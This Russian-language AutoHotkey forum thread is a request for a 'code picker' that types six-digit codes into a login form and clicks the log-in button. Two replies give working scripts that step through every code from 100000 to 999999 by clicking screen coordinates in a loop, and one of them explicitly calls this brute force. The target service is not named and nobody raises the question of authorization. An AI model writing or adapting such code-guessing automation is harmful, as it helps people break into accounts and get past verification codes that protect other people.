1 (изменено: pa4ipaha, 2024-06-23 07:58:20)

Тема: AHK: Подборщик кода

Помогите написать ахк скрипт, который будет кликать на меню ввода, вводить код ( 100000-999999 ) и кликать на "Войти". Скриншот прилагаю.  Скриншот

Loop;
{
GenerateRandomNumber:
Random, randomNumber, 100000, 999999 ; Генерируем число от 100000 до 999999
Send, %randomNumber%
Sleep 100
Тут клик на строку
Sleep 150
Тут клик на войти 
}
Return

Нашел это, но не особо понял как это задействовать.

2

Re: AHK: Подборщик кода

pa4ipaha, добро пожаловать на форум! Ознакомьтесь, пожалуйста, с Правилами, отредактируйте свой пост. Обратите внимание на оформление ссылок.

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

3

Re: AHK: Подборщик кода

teadrinker изменил.

4

Re: AHK: Подборщик кода

pa4ipaha
Если вы хотите сделать Brute Force кода, то лучше использовать не рандомные числа, а начинать с 100000 и с каждым шагом прибавлять 1.



!9::
	i = 100000
	while i < 999999 {
		Sleep 100
		Click "x координата строки", "y координата строки"
		Sleep 100
		Send, %i%
		Sleep 100
		Click "x координата кнопки", "y координата кнопки"
		Sleep "примерное время обработки запроса"
		i := i + 1
	}

!0:: 
ExitApp

Получается на Alt + 9 начало подбора и на Alt + 0 остановка.

5 (изменено: fyvfevfev, 2024-08-13 22:12:18)

Re: AHK: Подборщик кода

#Persistent

; Получаем координаты места, где находится поле ввода (наводим на поле и нажимаем 1)
1::
{
	MouseGetPos, x, y
}
return

; Получаем координаты места, где располагается кнопка (наводим на поле и нажимаем 2)
2::
{
	MouseGetPos, x1, y1
}
return

; Когда получили координаты, нажимаем 3 и запускаем наш BruteForce
3::
{
	Num := 100000
	while Num < 999999
	{
		sleep 75
		MouseClick, Left, %x%, %y%, 1
		sleep 75
		Send, %Num%
		sleep 75
		MouseClick, Left, %x1%, %y1%, 1
		sleep "время, которое требуется на обработку запроса сервером"
		Num++
	}
}
return

; Выход из программы (нажимаем цифру 0)
0::ExitApp
return

Мой вариант исполнения, надеюсь, что поможет!